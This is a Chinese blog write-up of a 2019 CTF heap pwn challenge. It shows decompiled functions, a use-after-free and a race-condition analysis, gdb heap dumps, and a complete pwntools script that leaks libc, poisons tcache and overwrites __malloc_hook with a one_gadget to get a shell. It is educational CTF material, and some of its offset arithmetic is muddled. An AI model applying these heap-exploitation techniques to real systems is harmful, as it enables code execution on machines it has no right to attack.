2019广东省强网杯PWN-1

原创

SkYe231_ 于 2019-09-24 22:21:20 发布 455 收藏

分类专栏： PWN 文章标签： 广东省强网杯 pwn 强网杯pwn 2019强网杯

本文链接：https://blog.csdn.net/weixin_43921239/article/details/101316587

2019广东省强网杯PWN-1

题目分析

题目提供了：可执行文件、libc.so.6两个文件。下面开始分析，首先运行程序，如下图所示：

```
skye@skye-ubuntu18:~/pwn1$ ./pwn
1.malloc
2.free
3.run
Alarm clock
skye@skye-ubuntu18:~/pwn1$
```

这是一道菜单题目，可以添加、删除、运行。是一道在堆上的题目。然后用IDA分析程序的流程。

首先看看主函数（main），对其中的部分函数做了重命名（在图中红框内函数），可以参照修改。

主函数

```
1  void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
2  {
3    int v3; // [rsp+24h] [rbp-Ch]
4
5    sub_1553();
6    while ( 1 )
7    {
8      while ( 1 )
9      {
10       welcome_broad();
11       v3 = c_input();
12       if ( v3 != 2 )
13         break;
14       c_free();
15     }
16     if ( v3 == 3 )
17     {
18       c_run();
19     }
20     else
21     {
22       if ( v3 != 1 )
23         exit(1);
24       c_malloc();
25     }
26   }
27 }
```

主函数循环执行，直到遇到exit()。首先是运行welcome_broad()输出菜单，然后运行c_input()读取输入选择的序号，根据序号分别对应运行c_malloc()、c_free()、c_run()。

welcome_broad()

```
1  unsigned __int64 welcome_broad()
2  {
3    unsigned __int64 v0; // ST08_8
4
5    v0 = __readfsqword(0x28u);
6    puts("1.malloc");
7    puts("2.free");
8    puts("3.run");
9    return __readfsqword(0x28u) ^ v0;
10 }
```

c_malloc()

```
unsigned __int64 c_malloc()
{
  int v0; // ST04_4
  char s; // [rsp+10h] [rbp-110h]
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(&s, 0, 0x100uLL);
  puts("index:");
  v0 = c_input();
  chuck[v0] = malloc(0xA0uLL); // 分配
  puts("content:");
  read(0, chuck[v0], 0xA0uLL); // 写入
  return __readfsqword(0x28u) ^ v3;
}
```

c_malloc()首先要求输入index作为堆的序号（存储在v0），然后分配0xA0空间。接着要求输入content，向堆写入0xA0个字符。

c_free()

```
unsigned __int64 c_free()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("index:");
  v1 = c_input();
  if ( v1 < 0 || v1 > 31 || !chuck[v1] )
    exit(0);
  free(chuck[v1]);
  chuck[v1] = 0LL;
  return __readfsqword(0x28u) ^ v2;
}
```

要求输入free的堆序号，if条件语句验证序号范围以及堆是否存在。通过条件判断后，free chuck，chuck = 0

c_run()

```
unsigned __int64 c_run()
{
  int v1; // [rsp+8h] [rbp-18h]
  pthread_t newthread; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index:");
  v1 = c_input();
  if ( v1 < 0 || v1 > 31 || !chuck[v1] )
    exit(0);
  pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, chuck[v1]);
  sleep(1u);
  return __readfsqword(0x28u) ^ v3;
}
```

要求输入堆序号，然后if语句检查序号范围以及堆是否存在。通过条件判断后，创建一个线程，将堆作为start_routine参数，运行start_routine。

start_routine

```
unsigned __int64 __fastcall start_routine(void *a1)
{
  signed int i; // [rsp+14h] [rbp-2Ch]
  __int64 v3; // [rsp+18h] [rbp-28h]
  char buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("input key:");
  read(0, &buf, 0x14uLL);
  v3 = atoll(&buf);
  sleep(3u);
  for ( i = 0; i <= 19; ++i )
    *((_QWORD *)a1 + i) ^= v3;
  puts((const char *)a1);
  puts("done");
  return __readfsqword(0x28u) ^ v5;
}
```

要求我们输入一个key，最大长度为0x14，输入后将其转化为数值型。程序休眠3秒。循环遍历地将堆中值与key（v3）异或，之后输出堆中值。

漏洞分析

题目的漏洞之一，就是在*c_free()*。在函数中，释放指针之后没有将其堆空间清空。也就是UAF（use after free）漏洞，释放重用漏洞。

```
unsigned __int64 c_free()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("index:");
  v1 = c_input();
  if ( v1 < 0 || v1 > 31 || !chuck[v1] )
    exit(0);
  free(chuck[v1]);
  chuck[v1] = 0LL;
  return __readfsqword(0x28u) ^ v2;
}
```

漏洞原理：释放后的指针没有赋值为空，在其他地方再次申请到这块内容并改变其的内容，而再次使用到之前释放后的指针，就会造成程序的结果变得不正确。如果这个释放的指针中有函数指针等重要数据，同时在其他的地方修改成精心构造的数据，就可能泄露数据，劫持控制流。

在本题中，用来泄露出堆地址和libc地址。

堆知识补充

先补充一点堆结构的知识。关于堆的基本知识，推荐先在该网站进行了解：

> https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/introduction/

> 在linux的内存管理中，主要是通过bins数组和链表来管理各个堆块，分别有fastbin，unsortedbin，smallbin等等（这里主要介绍fastbin、unsortedbin）。其中fd和bk只有释放堆块才有效，同时NMP是三个标志位，P代表前一个堆块是否释放，pre_size前一个堆块的大小。
>
> **fastbin**
>
> 释放的堆块会被首先放入到fastbin中。如果fastbin被填满，堆块被放入unsortedbin中。fastbin采用单向链表结构，也就是chunk结构中fd、bk两个指针只用到fd指针。在进行堆分配时，采用FILO的顺序从fastbin向下取堆块。
>
> **unsortedbin**

unsortedbin采取的是双向链表，也就是fd，bk指针都被使用到。堆块放入unsortedbin后，linux会向fd，bk中填入libc中的指针值。chunk从链表取下后，若未执行memset等清零操作，将读取到链表的指针，本题就是使用unsortedbin的双向链表，泄露出bk指针指向的堆地址。

题目的漏洞之二，就是在c_run()函数下用于创建线程的start_routine函数。在获取key之后，没有马上进行异或操作，而是等待了3s，形成了条件竞争。

条件竞争知识补充

定义：竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行，而且他们忽视了并行服务器会并发执行多个线程，这就会导致意想不到的结果。

例1：金额提现

假设现有一个用户在系统中共有2000元可以提现，他想全部提现。于是该用户同时发起两次提现请求，第一次提交请求提现2000元，系统已经创建了提现订单但还未来得及修改该用户剩余金额，此时第二次提现请求同样是提现2000元，于是程序在还未修改完上一次请求后的余额前就进行了余额判断，显然如果这里余额判断速度快于上一次余额修改速度，将会产生成功提现的两次订单，而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元。

解题思路

解题思路概述

我们形成的基本利用思路是：

1. 泄露出堆地址，libc地址
2. 控制堆块的fd指针，造成任意读写，将__malloc_hook修改为one_gadget

解题思路验证

我们首先要泄露出堆地址，libc地址。也就是我们要先让一个堆块被放入到unsortedbin中，linux向其中的fd，bk写入相关地址。

先尝试malloc出9个堆块：

```
[DEBUG] Received 0x16 bytes:
    '1.malloc\n'
    '2.free\n'
    '3.run\n'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x7 bytes:
    'index:\n'
[DEBUG] Sent 0x2 bytes:
    '9\n'
[DEBUG] Received 0x9 bytes:
    'content:\n'
[DEBUG] Sent 0xa0 bytes:
    '\x00' * 0xa0
```

然后一个个free chunk，看看第几个chunk会被放入到unsorted bin中。

```
gef➤  heap bins
──────────────── Tcachebins for arena 0x7f694baa7c40 ────────────────
Tcachebins[idx=9, size=0xa0] count=7 ← Chunk(addr=0x5626da74c820, size=0xb0, flags=PREV_INUSE) ← Chunk(addr=0x5626d
a74c770, size=0xb0, flags=PREV_INUSE) ← Chunk(addr=0x5626da74c6c0, size=0xb0, flags=PREV_INUSE) ← Chunk(addr=0x5626
da74c610, size=0xb0, flags=PREV_INUSE) ← Chunk(addr=0x5626da74c560, size=0xb0, flags=PREV_INUSE) ← Chunk(addr=0x562
6da74c4b0, size=0xb0, flags=PREV_INUSE) ← Chunk(addr=0x5626da74c400, size=0xb0, flags=)
──────────────── Fastbins for arena 0x7f694baa7c40 ────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
──────────────── Unsorted Bin for arena 'main_arena' ────────────────
[+] unsorted_bins[0]: fw=0x5626da74c340, bk=0x5626da74c340
 →   Chunk(addr=0x5626da74c350, size=0xb0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────── Small Bins for arena 'main_arena' ────────────────
[+] Found 0 chunks in 0 small non-empty bins.
```

fastbin中放入了7个chunk之后，第八个chunk被放入到unsorted bin中。我们看看被放在unsorted bin中的fd， bk，是否被写入相应的内存地址。

```
──────────────── Unsorted Bin for arena 'main_arena' ────────────────
[+] unsorted_bins[0]: fw=0x559512f56340, bk=0x559512f56340
 →   Chunk(addr=0x559512f56350, size=0xb0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────── Small Bins for arena 'main_arena' ────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────── Large Bins for arena 'main_arena' ────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x /10 0x559512f56350
0x559512f56350: 0x00007f20e5368ca0      0x00007f20e5368ca0
0x559512f56360: 0x3030303030303030      0x3030303030303030
0x559512f56370: 0x3030303030303030      0x3030303030303030
0x559512f56380: 0x3030303030303030      0x3030303030303030
0x559512f56390: 0x3030303030303030      0x3030303030303030
gef➤  x /10 0x00007f20e5368ca0
0x7f20e5368ca0 <main_arena+96>: 0x0000559512f568c0      0x0000000000000000
0x7f20e5368cb0 <main_arena+112>:        0x0000559512f56340      0x0000559512f56340
0x7f20e5368cc0 <main_arena+128>:        0x00007f20e5368cb0      0x00007f20e5368cb0
0x7f20e5368cd0 <main_arena+144>:        0x00007f20e5368cc0      0x00007f20e5368cc0
0x7f20e5368ce0 <main_arena+160>:        0x00007f20e5368cd0      0x00007f20e5368cd0
gef➤
```

fd，bk被写入同一个内存地址。查看该地址的内存空间，发现是main_arena+96的地址。

libcbase的真实地址就可以由main_arena+96地址计算出来：

```
main_arena_addr = main_arena+96 - 0x96
#在libc中，main_arena位于__malloc_hook+0x10处
__malloc_hook_addr = main_arena_addr - 0x10
#libc_elf.symbols['__malloc_hook']是__malloc_hook在libc的偏移地址
libc_base_addr = main_arena_addr - libc_elf.symbols['__malloc_hook']
-------------------------总结-----------------------------------------
libc_addr = main_aren_addr-0x96-0x10-libc_elf.symbols['__malloc_hook']
```

在获取了libc基地址后，就很容易获取到__malloc_hook、one_gadget的地址，方便后面将前者替换为后者。

那么现在怎么将__malloc_hook替换为one_gadget?

首先unsorted bin中的fd指向前一个堆的fd，我们可以修改通过一个堆块的fd值为__malloc_hook的内存地址，然后free两个chunk，后面的chunk fd指向了__malloc_hook的内存地址。

前面我们提到在创建线程运行时，存在条件竞争。程序等待3s之后，才会进行异或操作。

```
unsigned __int64 __fastcall start_routine(void *a1)
{
  signed int i; // [rsp+14h] [rbp-2Ch]
  __int64 v3; // [rsp+18h] [rbp-28h]
  char buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("input key:");
  read(0, &buf, 0x14uLL);
  v3 = atoll(&buf);
  sleep(3u);
  for ( i = 0; i <= 19; ++i )
    *((_QWORD *)a1 + i) ^= v3;
  puts((const char *)a1);
  puts("done");
  return __readfsqword(0x28u) ^ v5;
}
```

那就尝试一下利用：

1. malloc一个前8字节为0的chunk(方便异或)
2. 选择运行这个chunk，传入key为__malloc_hook地址
3. free chunk

可见bin中有两个chunk，后面一个chunk指向了__malloc_hook地址。效果图：

```
gef➤  heap bins
──────────────────── Tcachebins for arena 0x7ffff7bb0c40 ────────────────────
Tcachebins[idx=9, size=0xa0] count=1  ← Chunk(addr=0x555555559350, size=0xb0, f
lags=PREV_INUSE)  ← Chunk(addr=0x7ffff7bb0c1d, size=0x78, flags=PREV_INUSE|IS_M
MAPPED|NON_MAIN_ARENA)  ← [Corrupted chunk at 0xfff785c410000000]
──────────────────── Fastbins for arena 0x7ffff7bb0c40 ────────────────────
```

（图上错误，正确应该指向了0x7ffff7bb0c30）

我们获得了这个fd指针，接下来就要替换函数地址了。

1. 由于bin是前进后出，就需要先将前面chunk申请出来
2. 然后申请chunk（fd指向了__malloc_hook）申请出来，赋值内容为one_gadget地址。
3. 然后再次申请一个chunk触发__malloc_hook，获取到shell

解题过程

```
# coding:utf-8
from pwn import*
context.log_level=True
p=process('./pwn')
elf=ELF('pwn')
libc=ELF('libc.so.6') # 加载函数库文件

#gdb.attach(p)
#raw_input()
```

```python
def add(id,x):
    # 正常情况下申请chunk
 p.recvuntil('3.run\n')
 p.sendline('1')
 p.recvuntil('index:\n')
 p.sendline(str(id))
 p.recvuntil('content:\n')
 p.send(x)
def add1(id,x):
    # 调用run之后申请chunk
 p.sendline('1')
 p.recvuntil('index:\n')
 p.sendline(str(id))
 p.recvuntil('content:\n')
 p.send(x)
def free(id):
 p.recvuntil('3.run\n')
 p.sendline('2')
 p.recvuntil('index:\n')
 p.sendline(str(id))
def run(id,key):
 p.recvuntil('3.run\n')
 p.sendline('3')
 p.recvuntil('index:\n')
 p.sendline(str(id))
 p.recvuntil('input key:\n')
 p.sendline(str(key))

# ----------------泄露堆地址、libc地址
# 申请8个chunk
add(0,'0'*0xa0)
add(1,'1'*0xa0)
add(2,'2'*0xa0)
add(3,'3'*0xa0)
add(4,'4'*0xa0)
add(5,'5'*0xa0)
add(6,'6'*0xa0)
add(7,'7'*0xa0)

# free to Tcachebins
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)

# free to unsorted bin
free(0)

# 先进后出倒序申请chunk
add(7,'\0'*0xa0)
add(6,'\0'*0xa0)
add(5,'\0'*0xa0)
add(4,'\0'*0xa0)
add(3,'\0'*0xa0)
add(2,'\0'*0xa0)
add(1,'\0'*0xa0)
```

```
add(1,'\0'*0xa8)

# 向chunk 0 写入8个字符用于表示，虽然fd指针被损坏，但是bk与fd指向一样
add(0,'a'*8)
run(0,0)
p.recvuntil('a'*8)# 接受chunk 0 标记字符

# 这里其实是接收mian_arena地址。由于地址最后两位为\x00接受不到，就接收前6位，然后以左对齐的方式补上最后两位
libcbase = u64(p.recv(6).ljust(8,'\x00'))
# 计算出真正的libc基地址
# 公式：libc_addr = main_aren_addr-0x96-0x10-libc_elf.symbols['__malloc_hook']
libcbase = libcbase-0x96-0x10-libc.symbols['__malloc_hook']

# malloc地址
malloc=libcbase+libc.symbols['__malloc_hook']

#one_gadget在libc的偏移，可利用github的one_gadget工具得到
one=libcbase+0x4f322

# ----------------替换函数地址
p.sendline('3')#run
p.recvuntil('index:\n')
p.sendline('0')#run chunk 0
p.recvuntil('input key:\n')
# key为malloc地址，确保chunk 0前8个字节为0，异或出来才是正确的地址。大佬当我们没说
p.sendline(str(malloc))
# ----------------条件竞争
free(0)

sleep(3)# 等待异或
p.recvuntil('done\n') # 异或完成

# ----------------控制fd指针
add1(11,'\0'*0xa0)# 申请无用堆块

add(12,p64(one))# 申请fd指向malloc堆块，写入onegadget地址

# malloc变成onegadget
# 调用malloc
p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(13))


p.interactive()
```

参考文章

【CTF】off_by_one_NULL堆利用

1. 泄露堆地址&libc地址
2. 利用fastbin attack和libc地址，将__malloc_hook的got修改为one_gadget
3. bin中的fd和bk指针解释
4. 基于main_arena如何计算libc基地址

解题思路 | 从一道Pwn题说起

1. UAF漏洞、doublefree漏洞
2. fastbin介绍
3. 三种方法获取libc基地址

linux关闭ASLR（地址空间布局随机化）

Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

fastbin归纳：

1. https://paper.seebug.org/445/
2. https://paper.seebug.org/255/